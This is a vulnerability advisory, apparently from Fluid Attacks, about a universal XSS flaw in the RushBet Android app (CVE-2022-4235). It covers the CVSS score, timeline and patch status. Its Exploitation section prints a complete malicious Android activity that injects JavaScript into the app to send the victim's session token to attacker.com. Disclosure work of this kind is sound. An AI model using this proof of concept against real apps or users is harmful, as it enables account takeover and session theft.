RushBet 2022.23.1-b490616d - Universal XSS

6

Medium

Discovered by 

Carlos Bello

Offensive Team, Fluid Attacks

Summary

Full name

RushBet 2022.23.1-b490616d - UXSS

Code name

State

Public

Release date

Jan 10, 2023

Affected product

RushBet

Affected version(s)

Version 2022.23.1-b490616d

Vulnerability name

Universal XSS

Vulnerability type

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N

CVSS v3.1 base score

6.0

Exploit available

Yes

CVE ID(s)

Description

RushBet version 2022.23.1-b490616d allows a remote attacker to steal customer accounts via use of a malicious application. This is possible because the application exposes an activity and does not properly validate the data it receives.

Vulnerability

This vulnerability occurs because the application exposes an activity and does not properly validate the data it receives.

Exploitation

To exploit this vulnerability, the victim must have a malicious application installed with activity like the following:

MainActivity.java

package com.example.badapp;

import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Handler;
import android.os.Bundle;
import android.net.Uri;

public class MainActivity extends AppCompatActivity {

 @Override
 protected void onCreate(Bundle savedInstanceState) {
 super.onCreate(savedInstanceState);

 Intent intent = new Intent("android.intent.action.VIEW");
 intent.setClassName("com.rush.co.rb","com.sugarhouse.casino.MainActivity");
 intent.setData(Uri.parse("https://rushbet.co/"));
 startActivity(intent);

 new Handler().postDelayed(() -> {
            intent.setAction("Action.EvaluateScript");
            intent.putExtra("KeyScript","fetch('https://attacker.com/sessionID/'+JSON.parse(sessionStorage.getItem('session-COP')).value);");
            startActivity(intent);
        }, 30000);
    }
}

Thus, when the victim opens the malicious app, the exploit will be executed, thus hacking his account.

Evidence of exploitation


Our security policy

We have reserved the CVE-2022-4235 to refer to this issue from now on. Disclosure policy

System Information

  • Version: RushBet 2022.23.1-b490616d

  • Operating System: GNU/Linux

Mitigation

An updated version of RushBet is available at the vendor page.

References

Timeline

Vulnerability discovered

Nov 29, 2022

Vendor Confirmed Vuln.

Dec 3, 2022

Vulnerability patched

Dec 14, 2022

Vendor contacted

Nov 30, 2022

Vendor replied

Dec 3, 2022

Public disclosure

Jan 10, 2023

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.